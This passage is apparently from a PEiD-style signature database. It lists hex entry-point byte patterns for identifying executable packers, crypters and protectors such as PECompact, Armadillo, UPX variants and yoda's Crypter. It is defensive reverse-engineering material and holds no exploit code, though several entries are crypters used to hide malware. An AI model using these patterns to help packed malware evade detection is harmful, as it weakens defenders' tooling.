31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F -ep_only = true - -[PECompact 2.0beta/student version ->Jeremy Collake] -signature=B8 ?? ?? ?? EE 05 12 13 13 12 50 64 FF 35 00 00 00 00 64 89 25 00 -ep_only = true - -[EXE Shield v0.5-v0.6 -> Smoke] -signature=E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90 -ep_only = true - -[Thinstall v2.403 ->Jitit ] -signature=6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39 -ep_only = true - -[PECompact 2.x (beta version) ->Jeremy Collake] -signature=B8 ?? ?? ?? 00 80 00 28 40 -ep_only = true - -[PECompact 2.0x Heuristic Mode -> Jeremy Collake] -signature=B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 -ep_only = true - -[PECompact 2.0x Heuristic Mode -> Jeremy Collake] -signature=B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 -ep_only = true - -[Armadillo 3.00a -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42 -ep_only = true - -[Armadillo 3.00a -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42 -ep_only = true - -[Armadillo 3.01 - 3.50a -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43 -ep_only = true - -[Armadillo 3.6x -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76 -ep_only = true - -[Armadillo 3.7x -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC -ep_only = true - -[Soft Defender v1.1x -> Randy Li] -signature = 74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D -ep_only = true - -[EXE Stealth v2.74 -> WebToolMaster] -signature = EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D -ep_only = true - -[AHTeam EP Protector v0.3 -> FEUERRADER] -signature = 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 -ep_only = true - -[PECompact v2.0 beta -> Jeremy Collake] -signature = B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90 -ep_only = true - -[PKLITE32 1.1 -> PKWARE Inc.] -signature = 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9 -ep_only = true - -[tElock 1.0 (private) -> tE!] -signature = E9 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 -ep_only = true - -[Mew 10 exe-coder 1.0 -> Northfox [HCC]] -signature = 33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70 -ep_only = true - -[FSG v2.0 -> bart/xt] -signature = 87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13 -ep_only = true - -[PeCompact v2.08->Bitsum Technologies(signature by loveboom)] -signature = B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D -ep_only=true - -[MEW 11 SE v1.1 -> Northfox [HCC]] -signature = E9 ?? ?? ?? FF 0C ?0 -ep_only = true - -[yoda's Protector 1.0x-->Ashkbiz Danehkar] -signature = 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 -ep_only = true - -[yoda's Crypter 1.3-->Ashkbiz Danehkar] -signature = 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 -ep_only = true - -[UPX v1.03 - v1.04] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 8A 07 72 EB B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC -ep_only = true - -[UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub] -signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B -ep_only = true - -[UPX v0.81 - v0.84 Modified] -signature = 01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF -ep_only = true - -[UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified] -signature = 01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 -ep_only = true - -[UPX v1.03 - v1.04 Modified] -signature = 01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF -ep_only = true - -[UPX Alternative stub] -signature = 01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B -ep_only = true - -[UPX Modifier v0.1x] -signature = 50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD -ep_only = true - -[UPX Modified stub] -signature = 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF -ep_only = true - -[UPX Protector v1.0x] -signature = EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 -ep_only = true - -[UPX + ECLiPSE layer] -signature = B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01 -ep_only = true - -[UPX-Scrambler RC v1.x] -signature = 90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF -ep_only = true - -[UPXShit 0.06] -signature = B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF -ep_only = true - -[VBOX v4.2 MTE] -signature = 8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5 -ep_only = true - -[VBOX v4.3 MTE] -signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 -ep_only = true - -[VOB ProtectCD 5] -signature = 36 3E 26 8A C0 60 E8 -ep_only = true - -[VOB ProtectCD] -signature = 5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F -ep_only = true - -[Virogen Crypt v0.75] -signature = 9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01 -ep_only = true - -[Winkript v1.0] -signature = 33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 -ep_only = true - -[WinZip 32-bit SFX v6.x module] -signature = FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15 -ep_only = true - -[WinZip 32-bit SFX v8.x module] -signature = 53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15 -ep_only = true - -[WinRAR 32-bit SFX Module] -signature = E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF -ep_only = true - -[Wise Installer Stub] -signature = 55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 74 -ep_only = true - -[Wise Installer Stub] -signature = 55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF 89 45 FC 0F 84 7B 01 00 00 8D 85 90 FC FF FF 50 56 FF 15 28 20 40 00 8D 85 98 FE FF FF 50 53 8D 85 90 FC FF FF 68 10 30 40 00 50 FF 15 24 20 40 00 53 68 80 00 00 00 6A 02 53 53 8D 85 98 FE FF FF 68 00 00 00 40 50 FF D7 83 F8 FF 89 45 F4 0F 84 2F 01 00 00 53 53 53 6A 02 53 FF 75 FC FF 15 00 20 40 00 53 53 53 6A 04 50 89 45 F8 FF 15 1C 20 40 00 8B F8 C7 45 FC 01 00 00 00 8D 47 01 8B 08 81 F9 4D 5A 9A 00 74 08 81 F9 4D 5A 90 00 75 06 80 78 04 03 74 0D FF 45 FC 40 81 7D FC 00 80 00 00 7C DB 8D 4D F0 53 51 68 -ep_only = true - -[Wise Installer Stub v1.10.1029.1] -signature = 55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 E8 8A 08 80 F9 2F 74 2B 84 C9 74 1F 80 F9 3D 74 1A 8A 48 01 40 EB F1 33 F6 84 C9 74 D6 80 F9 20 74 -ep_only = true - -[WWPack32 v1.00, v1.11, v1.12, v1.20] -signature = 53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 -ep_only = true - -[WWPack32 v1.x] -signature = 53 55 8B E8 33 DB EB 60 -ep_only = true - -[X-PEOR v0.99b] -signature = E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00 -ep_only = true - -[Xtreme-Protector v1.05] -signature = E9 ?? ?? 00 00 00 00 00 00 00 00 -ep_only = true - -[Xtreme-Protector v1.06] -signature = B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E BB 01 00 00 00 E9 D9 FE FF FF 2B 7C 24 28 89 7C 24 1C 61 C2 08 00 E9 ?? ?? ?? 00 E9 38 ?? ?? ?? 01 -ep_only = true - -[XCR v0.11] -signature = 60 8B F0 33 DB 83 C3 01 83 C0 01 -ep_only = true - -[XCR v0.12] -signature = 60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D -ep_only = true - -[XCR v0.13] -signature = 93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB -ep_only = true - -[X-PEOR v0.99b] -signature = E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40 -ep_only = true - -[y0da's Crypter v1.0] -signature = 60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85 -ep_only = true - -[y0da's Crypter v1.1] -signature = 60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33 -ep_only = true - -[y0da's Crypter v1.2] -signature = 60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC -ep_only = true - -[y0da's Crypter v1.x / Modified] -signature = 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC -ep_only = true - -[ZCode Win32/PE Protector v1.01] -signature = E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35 -ep_only = true - -[*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)] -signature = 53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04 - -[Mew 10 v1.0 (Eng) -> Northfox] -signature = 33 C0 E9 ?? ?? ?? FF -ep_only = true - -[AHTeam EP Protector v0.3 -> FEUERRADER] -signature = 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 -ep_only = true - -[PECompact v2.0] -signature = B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 -ep_only = true -[Exe Stealth 2.75a -> WebtoolMaster] -signature = EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC -ep_only = True - -[AHTeam EP Protector v0.3 -> FEUERRADER] -signature = 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 -ep_only = true - -[PeCompact v2.08 ->Bitsum Technologies] -signature = B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D -ep_only=true - -[Armadillo 3.01 - 3.50a -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B 